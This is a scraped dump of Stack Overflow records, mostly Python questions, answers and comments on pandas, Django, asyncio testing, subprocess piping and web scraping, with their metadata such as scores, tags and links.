has body: I have two data frames df1 and df2, where df2 is a subset of df1. How do I get a new data frame (df3) which is the difference between the two data frames? In other word, a data frame that has all the rows/columns in df1 that are not in df2?
has answer: http://stackoverflow.com/a/75184825
upvote count: 289
has answer: http://stackoverflow.com/a/56260994
possible better answer: http://stackoverflow.com/a/48647720
has title: Find difference between two data frames
has answer: http://stackoverflow.com/a/60630475
has answer: http://stackoverflow.com/a/55479044
has answer: http://stackoverflow.com/a/56449649
favorite count: 0
has answer: http://stackoverflow.com/a/48647720
score: 283
has answer: http://stackoverflow.com/a/57794499
has comment: http://stackoverflow.com/comment/84292635
tagged with: python
has comment: http://stackoverflow.com/comment/88493403
has answer: http://stackoverflow.com/a/48647840
downvote count: 6
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/20109391
has answer: http://stackoverflow.com/a/75249473
has answer: http://stackoverflow.com/a/69677327
has answer: http://stackoverflow.com/a/50747492
accepted answer: http://stackoverflow.com/a/48647840
has answer: http://stackoverflow.com/a/57642893
has answer: http://stackoverflow.com/a/66516447
has answer: http://stackoverflow.com/a/71935353
has comment: http://stackoverflow.com/comment/84292835
type: Question
has comment: http://stackoverflow.com/comment/139504464
has answer: http://stackoverflow.com/a/74565835
linked to: http://stackoverflow.com/q/74304935
has answer: http://stackoverflow.com/a/74503643
tagged with: dataframe
linked to: http://stackoverflow.com/q/20225110
has answer: http://stackoverflow.com/a/71707528

http://stackoverflow.com/comment/84527007
has text: One way could be to convert to a list, use `index()` to find the first match, remove it, and convert back to a tuple. Also you may find the `enumerate()` function to be useful.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48762887

http://stackoverflow.com/comment/84388527
type: Comment
score: 1
has text: use `filter(None, string.split('http'))`, it's even cleaner. Otherwise good alternative to regex
type: AnswerComment
comment on: http://stackoverflow.com/a/48672909

http://stackoverflow.com/a/48820715
has body: Seems that I managed to find a workaround. The issue is that django-storages was closing the image file after it was uploaded causing an I/O error in django-imagekit. I found the workaround here. import os from storages.backends.s3boto3 import S3Boto3Storage from tempfile import SpooledTemporaryFile class CustomS3Boto3Storage(S3Boto3Storage): """ This is our custom version of S3Boto3Storage that fixes a bug in boto3 where the passed in file is closed upon upload. https://github.com/boto/boto3/issues/929 https://github.com/matthewwithanm/django-imagekit/issues/391 """ def _save_content(self, obj, content, parameters): """ We create a clone of the content file as when this is passed to boto3 it wrongly closes the file upon upload where as the storage backend expects it to still be open """ # Seek our content back to the start content.seek(0, os.SEEK_SET) # Create a temporary file that will write to disk after a specified size content_autoclose = SpooledTemporaryFile() # Write our original content into our copy that will be closed by boto3 content_autoclose.write(content.read()) # Upload the object which will auto close the content_autoclose instance super(CustomS3Boto3Storage, self)._save_content(obj, content_autoclose, parameters) # Cleanup if this is fixed upstream our duplicate should always close if not content_autoclose.closed: content_autoclose.close() Create a file somewhere in the project and add the code (i.e. storage_backends.py). Then in settings, set: DEFAULT_FILE_STORAGE='project.storage_backends.CustomS3Boto3Storage'
score: 0
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/48758955
accepted answer of: http://stackoverflow.com/q/48758955

http://stackoverflow.com/q/48703253
duplicate of: http://stackoverflow.com/q/28769023
upvote count: 0
score: -1
has title: Supress OS command prompt popup in python
has comment: http://stackoverflow.com/comment/84404864
has body: import subprocess, platform def ping(host): args = "ping -n 1 " + host return subprocess.call(args) == 0 print(ping("www.google.com")) I am using this code in order to ping a website to test whether it is up or down, which works perfectly, however it results in a command prompt window briefly appearing which is not ideal for what I am working on, so my question is; How can I supress this window from appearing on pings requests (windows based solution needed)
has answer: http://stackoverflow.com/a/48703310
answer count: 1
favorite count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/10251391
tagged with: python
tagged with: ping
duplicate of: http://stackoverflow.com/q/10251391
has comment: http://stackoverflow.com/comment/84405230
linked to: http://stackoverflow.com/q/28769023
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84405384

http://stackoverflow.com/comment/84506293
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48726180
has text: This got me super close, but there are still duplicates from the computer_list file for example `Name,Serial,Models` `computer1,serial1,model1` `computer2,serial2,model2` `computer3,serial3,model3` `computer4,serial4,model4` `computerH,SerialN/A,` `computerP,SerialN/A,` `computer1,SerialN/A` `computer2,SerialN/A` is there a way to remove the NA duplicates, but keep the good ones?
score: 0

http://stackoverflow.com/q/48686222
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48686680
score: 1
has answer: http://stackoverflow.com/a/48686680
has body: I have created a datetime list with 15min interval using this code import pandas as pd import numpy as np power_data = pd.DataFrame([]) time_data = [] time_data = np.arange('2017-10-31T00:15', '2017-12-01T00:15', dtype='datetime64[15m]')) the output which I getting is okay as per expected. thereafter I try to add this date time array as column into panadas dataframe using this code time_data = pd.Series(time_data) power_data['Time'] = time_data.values This code added this Time column correctly but the DateTime value has been changed. 0 1973-03-10 16:01:00 1 1973-03-10 16:02:00 2 1973-03-10 16:03:00 ......... 2975 1973-03-12 17:36:00 The main culprit is pd.Series(time_data) which changed the datetime value when it arranging is series. My question is how I can add this datetime without changing it's value?
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/48686410
has comment: http://stackoverflow.com/comment/84369936
tagged with: numpy
answer count: 2
tagged with: pandas
downvote count: 0
has title: How to add numpy datetime list into Pandas Dataframe as column?
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48686410
tagged with: datetime
tagged with: python

http://stackoverflow.com/q/48752888
linked to: http://stackoverflow.com/q/15273693
has answer: http://stackoverflow.com/a/71614520
has comment: http://stackoverflow.com/comment/93635475
type: Question
score: 5
upvote count: 6
has answer: http://stackoverflow.com/a/58538110
accepted answer: http://stackoverflow.com/a/58538110
has comment: http://stackoverflow.com/comment/93641770
has answer: http://stackoverflow.com/a/53381545
has answer: http://stackoverflow.com/a/48753379
tagged with: pandas
downvote count: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/48753379
has body: I have a pandas dataframe that looks as the following one: chrom start end probability read 0 chr1 1 10 0.99 read1 1 chr1 5 25 0.99 read2 2 chr1 15 25 0.99 read2 3 chr1 30 40 0.75 read4 What I wanna do is to merge the intervals that have the same chromosome (chrom column), and whose coordinates (start,end) overlap. In some situations, were multiple intervals overlap each other, there will be intervals that should be merged, even though they do not overlap. See row 0 and row 2 in the above mentioned example and the output of the merging below For those elements that are merged, I want to sum their probabilities (probability column) and count the unique elements in the 'read' column. Which would lead to the following output using the example above, note that rows 0,1 and 2 have been merged: chrom start end probability read 0 chr1 1 20 2.97 2 1 chr1 30 40 0.75 1 Up to now, I have been doing this with pybedtools merge, but it has turn out that it is slow for doing it millions of times (my case). Hence, I am looking for other options and pandas is the obvious one. I know that with pandas groupby one can apply different operations to the columns that are going to be merged like nunique and sum, which are the ones that I will need to apply. Nevertheless, pandas groupby only merges data with exact 'chrom', 'start' and 'end' coordinates. My problem is that I don't know how to use pandas to merge my rows based on the coordinates (chrom,start,end) and then apply the sum and nunique operations. Is there a fast way of doing this? thanks! PS: As I have told on my question, I am doing this millions of times, so speed is a big issue. Hence, I am not able to use pybedtools or pure python, which are too slow for my goal. Thanks!
has comment: http://stackoverflow.com/comment/93853048
has title: pandas merge intervals by range
tagged with: bioinformatics
tagged with: python
has comment: http://stackoverflow.com/comment/84507342
answer count: 4
type: AnsweredQuestion

http://stackoverflow.com/q/48734581
has comment: http://stackoverflow.com/comment/84468874
has comment: http://stackoverflow.com/comment/84483268
has comment: http://stackoverflow.com/comment/84468404
score: 0
has answer: http://stackoverflow.com/a/71544123
answer count: 1
favorite count: 0
has body: I'm looking for an efficient way to efficiently gamma-blend images. While regular (additive) blend of pixels A and B with a factor r is expressed as this: C = (1-r) A + r B Gamma (multiplicative) blend is done as follows: C = A^(1-r) B^r This would require a way to raise a pixel channels to a non-integer power, a bit like a gamma correction. Since I have a large batch of 4K images to process, I need this be done efficiently (without looping through all pixels and performing the computation individually). Thanks!
upvote count: 2
type: UnansweredQuestion
downvote count: 2
tagged with: python
linked to: http://stackoverflow.com/q/3374878
tagged with: graphics
tagged with: python-imaging-library
linked to: http://stackoverflow.com/q/22800049
tagged with: image
type: Question
has comment: http://stackoverflow.com/comment/84468599
has comment: http://stackoverflow.com/comment/84468463
has title: Python / PIL : How to gamma-blend images efficiently?
has comment: http://stackoverflow.com/comment/84472526
linked to: http://stackoverflow.com/q/43232813

http://stackoverflow.com/q/48741911
score: 1
favorite count: 0
type: Question
has body: I have timestamp data that I am trying to break up a data set into "chunks", based on whether the values a greater than 0. I think the best way to illustrate this is with an example... Imagine the data looks something like this data (where I have manually put in grouping information): Timestamp, Value 2018-02-08 04:28:44, 0.0 2018-02-08 04:28:48, 0.0 2018-02-08 04:28:52, 0.5, group 1 2018-02-08 04:28:56, 0.5, group 1 2018-02-08 04:29:00, 5.3, group 1 2018-02-08 04:29:04, 5.3, group 1 2018-02-08 04:29:08, 5.3, group 1 2018-02-08 04:29:43, 4.7, group 1 2018-02-08 04:29:48, 4.7, group 1 2018-02-08 04:29:52, 3.7, group 1 2018-02-08 04:29:56, 3.7, group 1 2018-02-08 04:30:00, 2.3, group 1 2018-02-08 04:30:04, 2.3, group 1 2018-02-08 04:30:08, 2.3, group 1 2018-02-08 04:30:12, 0.0 2018-02-08 04:30:16, 0.0 2018-02-08 04:32:07, 0.0 2018-02-08 04:32:16, 0.0 2018-02-08 04:32:20, 2.1, group 2 2018-02-08 04:32:24, 2.1, group 2 2018-02-08 04:32:28, 2.1, group 2 2018-02-08 04:32:32, 4.7, group 2 2018-02-08 04:32:36, 4.7, group 2 2018-02-08 04:32:40, 9.0, group 2 2018-02-08 04:32:44, 9.0, group 2 2018-02-08 04:32:48, 9.0, group 2 ...I think I could do this with this with the groupby function - so long as the grouping in information I have manually entered above was present). I guess the question is how would I break up a time-series like this into such groups? (Should point out there is probably 100s or thousands of these groups). Ideally there would be some kind of iterator that would spit out these groups - (there probably is one?) - but I just don't know what it is called, or what even begin looking for! (or indeed if my question title should be changed) Thanks in advance.
tagged with: python
accepted answer: http://stackoverflow.com/a/48741993
upvote count: 1
has title: pandas groupby column values (split on zero value)
answer count: 1
has comment: http://stackoverflow.com/comment/84483557
tagged with: pandas
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48741993
tagged with: grouping
downvote count: 0

http://stackoverflow.com/a/71753669
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/134809237
answers question: http://stackoverflow.com/q/48761985
upvote count: 9
has body: You dont need to install any framework to test aiohttp.ClientSession Check it out: # Module A import aiohttp async def send_request(): async with aiohttp.ClientSession() as session: async with session.post("https://example.com", json={"testing": True}) as response: if response.status != 200: print("Woops") return False print("YAY!") return True # Module A test import pytest from types import SimpleNamespace from unittest.mock import MagicMock, patch # Do not forget to replace `path_to_module_a` with the module that imports aiohttp import path_to_module_a.send_request @patch("path_to_module_a.aiohttp.ClientSession") @pytest.mark.asyncio async def test_should_fail_to_send_request(mock: MagicMock): session = MagicMock() session.post.return_value.__aenter__.return_value = SimpleNamespace(status=500) mock.return_value.__aenter__.return_value = session response = await send_request() assert response == False assert session.post.call_args.kwargs["json"] == {"testing": True}
score: 9

http://stackoverflow.com/comment/84583230
has text: @rbrtl Alright. It connects successfully the second time, but the `elif` statement doesn't seem to work in the `server.py` file.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48790381

http://stackoverflow.com/a/48723120
answers question: http://stackoverflow.com/q/48722876
has comment: http://stackoverflow.com/comment/84472829
has comment: http://stackoverflow.com/comment/84451040
has comment: http://stackoverflow.com/comment/84467996
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84475731
score: 0
has body: What you can use is multiprocessing.Pipe for communicating with child process. multiprocess.Pipe gives you two ends of pipe, where one can be used for writing and other for reading, and vice versa (if duplex flag is set to True). The thing with these two ends is that those are just file descriptors. That is why you need to open them, like files, and then read/write. To open them you must use os.fdopen. From then its just like reading/writing to a file. Something like this should be of help: import os import subprocess as sp import multiprocessing class FFMPEG_Consumer(): def __init__(self): r, w = multiprocessing.Pipe() self._stdin = os.fdopen(r.fileno(), 'r') self._stdout = os.fdopen(w.fileno(), 'w') proc = multiprocessing.Process(target=self.start_ffmpeg) proc.start() def start_ffmpeg(self): command = ['ffmpeg', '-pix_fmt', 'rgba', '-f', 'rawvideo', '-i', '-', '-f', 'lavfi', '-i', 'anullsrc=channel_layout=stereo:sample_rate=44100', '-pix_fmt', 'yuv420p', '-s', 'hd720', '-f', 'flv', 'rtmp://example.com'] sp.Popen(command, bufsize=-1, stdin=self._stdin) def send_down_the_pipe(self, frame): self._stdout.write(frame) ffmpeg = FFMPEG_Consumer() ffmpeg.send_down_the_pipe(frame) Edit 1. You can tweak buffering to better suits your needs. When you use os.fdopen, third argument is for buffer size. 0 is to open it without buffering at all. Edit 2. I didn't want to delete old version for educational purposes. What was the issue with my previous script? class FFMPEG_Consumer(): def __init__(self): r, w = multiprocessing.Pipe() self._stdin = os.fdopen(r.fileno(), 'r') self._stdout = os.fdopen(w.fileno(), 'w') ... After __init__ method is executed, r and w file descriptors are garbage collected. Now, you have self._stdin and self._stdout that still exist and pointing to non existing file descriptors. After instantiating FFMPEG_Consumer, you get these errors: close failed in file object destructor: IOError: [Errno 9] Bad file descriptor close failed in file object destructor: IO…
type: Answer
has comment: http://stackoverflow.com/comment/84460361
accepted answer of: http://stackoverflow.com/q/48722876
has comment: http://stackoverflow.com/comment/84473602
has comment: http://stackoverflow.com/comment/84465371
has comment: http://stackoverflow.com/comment/84473567
has comment: http://stackoverflow.com/comment/84455468
has comment: http://stackoverflow.com/comment/84465389
has comment: http://stackoverflow.com/comment/84446114
has comment: http://stackoverflow.com/comment/84465856

http://stackoverflow.com/a/48801439
answers question: http://stackoverflow.com/q/48798144
has comment: http://stackoverflow.com/comment/84719840
type: Answer
upvote count: 6
has body: Here your call tree looks something like: connect | +- _connect* | +- _watchdog* | +- _sender* | +- _receiver* The *s indicate the 4 trio tasks. The _connect task is sitting at the end of the nursery block, waiting for the child tasks to complete. The _watchdog task is blocked in await self._end_session.wait(), the _sender task is blocked in await q.get(), and the _receiver task is blocked in await client_stream.receive_some(...). When you hit control-C, then the standard Python semantics are that whatever bit of Python code is running suddenly raises KeyboardInterrupt. In this case, you have 4 different tasks running, so one of those blocked operations gets picked at random [1], and raises a KeyboardInterrupt. This means a few different things might happen: If _watchdog's wait call raises KeyboardInterrupt, then the _watchdog method immediately exits, so it never even tries to send logout. Then as part of unwinding the stack, trio cancels all the other tasks, and once they've exited then the KeyboardInterrupt keeps propagating up until it reaches your finally block in connect. At this point you try to notify the watchdog task using self._end_session.set(), but it's not running anymore, so it doesn't notice. If _sender's q.get() call raises KeyboardInterrupt, then the _sender method immediately exits, so even if the _watchdog did ask it to send a logoff message, it won't be there to notice. And in any case, trio then proceeds to cancel the watchdog and receiver tasks anyway, and things proceed as above. If _receiver's receive_all call raises KeyboardInterrupt... same thing happens. Minor subtlety: _connect can also receive the KeyboardInterrupt, which does the same thing: cancels all the children, and then waits for them to stop before allowing the KeyboardInterrupt to keep propagating. If you want to reliably catch control-C and then do something with it, then this business of it being raised at some random point is quite a nuisance. The simplest way to do this is …
has comment: http://stackoverflow.com/comment/84719803
score: 6
has comment: http://stackoverflow.com/comment/84653172
has comment: http://stackoverflow.com/comment/84653429
accepted answer of: http://stackoverflow.com/q/48798144
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/48650819
answer count: 0
downvote count: 0
type: UnansweredQuestion
score: 1
tagged with: django
has comment: http://stackoverflow.com/comment/84302030
tagged with: forms
type: Question
tagged with: api
upvote count: 1
favorite count: 0
has title: Dynamically pull API data based on form field value in Django
tagged with: python
has body: I'm trying to create a form where users can search for a medical facility in a location using Django. The search results come from an API that displays countries, regions, cities, and the medical facilities within those locations. So far I have created the functions that pull in ALL of the data: import requests MAIN_URL = 'https://www.sample.com' API_KEY = 123456789 def get_countries(): response = requests.get('{}/GetCountryList?apikey={}'.format(MAIN_URL, API_KEY)) json_response = response.json() countries = json_response['GetCountryListResult'] return countries def get_regions(country): response = requests.get('{}/GetRegionList?countrycode={}&apikey={}'.format(MAIN_URL, country, API_KEY)) json_response = response.json() regions = json_response['GetRegionListResult'] return regions def get_cities(country, region): response = requests.get('{}/GetCityList?countrycode={}&regioncode={}&apikey={}'.format(MAIN_URL, country, region, API_KEY)) json_response = response.json() cities = json_response['GetCityListResult'] return cities def get_facilities(country, region, city): response = requests.get('{}/SearchByCity?city={}&regioncode={}&countrycode={}&apikey={}'.format(MAIN_URL, city, region, country, API_KEY)) json_response = response.json() facilities = json_response['GetFacilitiesByCityResult'] return facilities I have also created the view and passed these items through in context: class MedicalFacilitiesPage(Page, TranslatablePageMixin): def get_context(self, request): context = super(MedicalFacilitiesPage, self).get_context(request) context['countries'] = get_countries() context['regions'] = get_regions(country) context['cities'] = get_cities(country, region) context['facilities'] = get_facilities(country, region, city) return context The data is showing up in the select boxes when I do something like this: Select {% for country in countries %} {{ country.CountryName }} {% endfor %} However, I need to pull only the results that are relevant to the previous select box'…
has comment: http://stackoverflow.com/comment/84302228

http://stackoverflow.com/comment/84370289
type: QuestionComment
score: 1
has text: I agree with @Kevin. Using numpy: `x = 1 + np.finfo(float).eps # maximal precision needed`. Then do `j = json.dumps(x); y = json.loads(j), x == y` prints `True`.
comment on: http://stackoverflow.com/q/48686258
type: Comment

http://stackoverflow.com/comment/84400488
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48700191
type: Comment
has text: Another typo, `__init` of class **User** should be `__init__`

http://stackoverflow.com/comment/84311605
score: 2
has text: Can you please be more specific? What is your expected output for this given data?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48656982

http://stackoverflow.com/a/48765467
type: Answer
upvote count: 1
has body: Here are a couple of other methods, with benchmarking on a realistic data set. This answer assumes no duplicates within a list, and ordering of output (duplicate items for each key) does not matter. import numpy as np from itertools import groupby, chain from collections import Counter d = {'key'+str(i): list(np.random.randint(0, 1000000, 50)) for i in range(1, 50000)} def return_dups_jp1(d): def get_dups(a): seen = set() dup = set() for x in a: if x not in seen: seen.add(x) else: dup.add(x) return dup def apply_dups(d, dups): return {k: list(set(v) &amp; dups) for k, v in d.items()} return apply_dups(d, get_dups(chain.from_iterable(d.values()))) def return_dups_jp2(d): b = sorted(chain.from_iterable(d.values())) dups = {group[0] for group in groupby(b) if len(list(group[1])) &gt; 1} return {k: list(set(v) &amp; dups) for k, v in d.items()} def return_dups_sch(d): c = Counter(chain(*d.values())) return {k: [x for x in v if c[x] &gt; 1] for k, v in d.items()} Benchmarking: x = return_dups_jp1(d) y = return_dups_jp2(d) z = return_dups_sch(d) assert all(set(x['key'+str(i)]) == set(y['key'+str(i)]) for i in range(1, 50000)) assert all(set(y['key'+str(i)]) == set(z['key'+str(i)]) for i in range(1, 50000)) %timeit return_dups_jp1(d) # 1 loop, best of 3: 2.56 s per loop %timeit return_dups_jp2(d) # 1 loop, best of 3: 5.12 s per loop %timeit return_dups_sch(d) # 1 loop, best of 3: 2.66 s per loop
score: 1
answers question: http://stackoverflow.com/q/48763137
downvote count: 0

http://stackoverflow.com/q/48777695
has comment: http://stackoverflow.com/comment/84557329
tagged with: python
upvote count: 0
type: UnansweredQuestion
score: -2
has body: elements = ['why','where','what','who','when','how'] for x in range(5): length=(random.randint(1,5)) whatever="" for y in range(1,length): whatever += elements[random.randint(0,5)] print whatever I'm trying to get the above code to print and combine the elements from the list into random strings that consist of 1 to 4 syllables. Right now its printing a syllable at a time and then joining them together. After the string reaches 4 syllables, it restarts and does the process again. This is what it prints: why whywhen whywhenwhere how howwhy howwhywhy what whatwhen whatwhenhow whatwhenhowwhen
type: Question
downvote count: 2
has answer: http://stackoverflow.com/a/48777779
tagged with: random
has comment: http://stackoverflow.com/comment/84557124
answer count: 1
tagged with: string
favorite count: 0
has title: How To Get Random Elements To Join Together

http://stackoverflow.com/comment/84381503
score: 0
has text: Have you tried `np.where()`?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48691429

http://stackoverflow.com/q/48695217
has title: How to update a URL in a python file for Selenium testing
type: Question
type: AnsweredQuestion
tagged with: automation
answer count: 1
score: 0
has body: I am needing to find a way to update my URL in my python file used for python testing. Every time a new build is released the URL increments, i.e. build1.test.com, build2.test.com. Is there a way to automatically update this URL to increment up when the new build is released? import unittest from page import * from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC class LoginTest(unittest.TestCase): def setUp(self): self.driver = webdriver.chrome() self.driver.get("https://build10.test.com")
tagged with: python
has answer: http://stackoverflow.com/a/48696870
accepted answer: http://stackoverflow.com/a/48696870
tagged with: selenium

http://stackoverflow.com/comment/84503939
comment on: http://stackoverflow.com/q/48738677
has text: @Stephen Raunch, that link seems to claim that its treated as null but interestingly there is an is_null() method in jmespath, but it didn't not identify nans as null. I think ultimately i will try to add a custom function into the language
score: 0
type: QuestionComment
type: Comment

scikit-image
tags question: http://stackoverflow.com/q/48732991
tags question: http://stackoverflow.com/q/48765926
tags question: http://stackoverflow.com/q/48665131
tags question: http://stackoverflow.com/q/48708031
tags question: http://stackoverflow.com/q/48743470
tags question: http://stackoverflow.com/q/48721506
type: Tag
tag name: scikit-image
tags question: http://stackoverflow.com/q/48706145

http://stackoverflow.com/a/48776484
has comment: http://stackoverflow.com/comment/84554806
score: 0
has body: If it is a list and not an array you can do: filter(lambda x: x[0][0] == 10, a)
type: Answer
answers question: http://stackoverflow.com/q/48776305

http://stackoverflow.com/comment/84542760
has text: @Markus for example to click on the first project there u will need to run window.document.evaluate('/html/body/div[3]/div[1]/div[1]/div[1]/div/div[1]/a/div[1]/div[2]', document, null, 9, null).singleNodeValue.click(); you can do the same from python with selenium with the code example i provided
type: AnswerComment
comment on: http://stackoverflow.com/a/48769885
score: 0
type: Comment

http://stackoverflow.com/comment/84442213
type: QuestionComment
has text: You're making the key a list itself, not a letter/number, and `lst2.sort(reverse=True)` will only ever be one value
score: 1
comment on: http://stackoverflow.com/q/48721643
type: Comment

http://stackoverflow.com/q/48675842
has comment: http://stackoverflow.com/comment/84350148
type: UnansweredQuestion
has title: Using an integer along with a letter in a command in Python 3
tagged with: python
has answer: http://stackoverflow.com/a/48675881
has answer: http://stackoverflow.com/a/48675968
has comment: http://stackoverflow.com/comment/84350150
type: Question
linked to: http://stackoverflow.com/q/4010840
score: 0
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/48675917
downvote count: 1
has comment: http://stackoverflow.com/comment/84350399
favorite count: 0
tagged with: python-3.x
has body: I'm trying to use an integer along with a letter to set a predefined variable to a number. I'm not quite sure how to explain this, so please see the code below... from random import * for i in range(0,playerDifficulty,1): tempRandomLine = randint(1, 10) l(tempRandomLine) = 15 Where I have the l(tempRandomLine), I need that to be able to set a variable predefined, such as l5, to 15, and I'm not quite sure how to do this. Any ideas? I am using Python 3

http://stackoverflow.com/a/48657239
upvote count: 1
has body: data = '{message: Successfully sent data for processing, execId: d03c96hg-4098-47b9-9e4b-3cb2c}' // actual string message: Successfully sent data for processing, execId: d03c96hg-4098-47b9-9e4b-3cb2c data_str = data[1:-1] t_arr = data_str.split(',') data_dict = {} for data in t_arr : temp = data.split(':') data_dict[str(temp[0].strip())] = str(temp[1].strip()) print data_dict
accepted answer of: http://stackoverflow.com/q/48657067
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48657067
type: Answer
score: 1

http://stackoverflow.com/q/48688375
favorite count: 0
has comment: http://stackoverflow.com/comment/84378036
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84374882
tagged with: python
has body: I'm not very good with c# and i need a help. I create a python code for looping the file inside a folder, this is the code: path = os.path.expanduser('~\\Desktop\\image\\') images = os.listdir(path) sorted_imgs = images.sort(key=lambda x: int(x.split('.')[0])) for i, roi in enumerate(images): img = (path + roi) print(img) And this gave me the path i want. Now i need to pass this path into a variable inside a c# script, where the name of the variable is 'image'. How can i do this? Thank you for the help and for your time.
score: 1
has title: How i pass an entire path from python to c#?
upvote count: 1
type: Question
tagged with: c#
tagged with: image
has answer: http://stackoverflow.com/a/48688490
answer count: 1
downvote count: 0
tagged with: variables

http://stackoverflow.com/comment/85042124
score: 1
type: AnswerComment
type: Comment
has text: Please note also that this isn't the best you can get. The compression filter is only single threaded, and maybe pytables and the blosc filter isn't compiled with enabled avx2. The HDF5-Filter Pipeline can also be a bit slow. For compression and decompression speeds that are achievable take a look at https://github.com/Blosc/python-blosc
comment on: http://stackoverflow.com/a/48997927

http://stackoverflow.com/q/48789262
score: 1
has body: admin.py for an app is: from django.contrib import admin from django.db.models import Subquery, Sum, OuterRef from .models import GoodsItem, FinishedGoodsItem, SoldGoodsItem @admin.register(SoldGoodsItem) class SoldGoodsItemAdmin(admin.ModelAdmin): fields = ('date', 'goods_item', 'weight') list_display = ('date', 'goods_item', 'weight') @admin.register(FinishedGoodsItem) class FinishedGoodsItemAdmin(admin.ModelAdmin): fields = ('date', 'goods_item', 'weight') list_display = ('date', 'goods_item', 'weight') @admin.register(GoodsItem) class GoodsItemAdmin(admin.ModelAdmin): list_display = ('__str__', 'finished_good', 'sold_good', 'stock_available') def get_queryset(self, request): qs = super(GoodsItemAdmin, self).get_queryset(request) qs = qs.annotate( finished_good = Subquery(FinishedGoodsItem.objects.filter(goods_item=OuterRef('pk'))\ .values('goods_item_id').annotate(sum=Sum('weight')).values('sum')[:1]), sold_good = Subquery(SoldGoodsItem.objects.filter(goods_item=OuterRef('pk'))\ .values('goods_item_id').annotate(sum=Sum('weight')).values('sum')[:1]) ) return qs def finished_good(self, obj): return obj.finished_good def sold_good(self, obj): return obj.sold_good def stock_available(self, obj): finished_good = 0 if self.finished_good(obj) is None else self.finished_good(obj) sold_good = 0 if self.sold_good(obj) is None else self.sold_good(obj) return '-' if (finished_good == 0 and sold_good == 0) else finished_good - sold_good admin.site.site_header = 'Rajeshwari Steels' For GoodsItemAdmin, I want to display an extra row with the totals at the bottom of the records table. The total row should display the total for all three columns, which are finished_good, sold_good and stock_available. Here all three columns are displayed using methods in GoodsItemAdmin and are annotated on queryset by overriding get_queryset method. I found this question, while searched for the solution. The answers for that question suggest to override admin template and changelist_view method…
type: Question
tagged with: django-admin
downvote count: 0
linked to: http://stackoverflow.com/q/8541956
tagged with: python
favorite count: 0
answer count: 0
type: UnansweredQuestion
tagged with: django
upvote count: 1
has title: Add an extra total row in admin - Django

http://stackoverflow.com/a/48716316
has comment: http://stackoverflow.com/comment/84446427
answers question: http://stackoverflow.com/q/48653979
has comment: http://stackoverflow.com/comment/84448411
has comment: http://stackoverflow.com/comment/84441041
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84446368
has body: It should probably say "such as Jupyter, where IJavascript can run", but just like the documentation says Anaconda installs Jupyter for you You need Nodejs and NPM for ijavascript to work Then npm install -g ijavascript Followed by ijsinstall You need to run jupyter from the Anaconda prompt, or add Anaconda's executable binaries to your PATH (which is an option during installation). As that error is directly from CMD, it has really nothing to do with Anaconda, Jupyter, or ijavascript directly, but rather you are missing some OS setup
has comment: http://stackoverflow.com/comment/84440994
type: Answer
accepted answer of: http://stackoverflow.com/q/48653979
upvote count: 2
has comment: http://stackoverflow.com/comment/84452920
has comment: http://stackoverflow.com/comment/84438403
score: 2

http://stackoverflow.com/q/48722980
accepted answer: http://stackoverflow.com/a/48723662
type: Question
has body: Im trying to extract links from this page: http://www.tadpoletunes.com/tunes/celtic1/ view-source:http://www.tadpoletunes.com/tunes/celtic1/ but I only want the reels: which in the page are delineated by : start: REELS end ( the lines above the following): SLIDES The question is how to do this. I have the following code which gets the links for everything with a .mid extension: def import_midifiles(): archive_url="http://www.tadpoletunes.com/tunes/celtic1/" sauce= urllib.request.urlopen("http://www.tadpoletunes.com/tunes/celtic1/celtic.htm").read() soup=bs.BeautifulSoup(sauce,'lxml') tables=soup.find_all('table') for table in tables: for link in table.find_all('a',href=True): if link['href'].endswith('.mid'): listofmidis.append(archive_url + link['href']) if listofmidis: listoflists.append(listofmidis) midi_list = [item for sublist in listoflists for item in sublist] return midi_list I cannot figure this out from the beautifulsoup docs. I need the code because I will be repeating the activity on other sites in order to scrape data for training a model.
has answer: http://stackoverflow.com/a/48723662
upvote count: 1
answer count: 1
has title: Extract links after th in beautifulsoup
downvote count: 0
favorite count: 0
tagged with: beautifulsoup
tagged with: python
type: AnsweredQuestion
score: 1

http://stackoverflow.com/a/48729252
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48729220
answers question: http://stackoverflow.com/q/48729220
type: Answer
has comment: http://stackoverflow.com/comment/84457505
upvote count: 10
has comment: http://stackoverflow.com/comment/84457482
score: 10
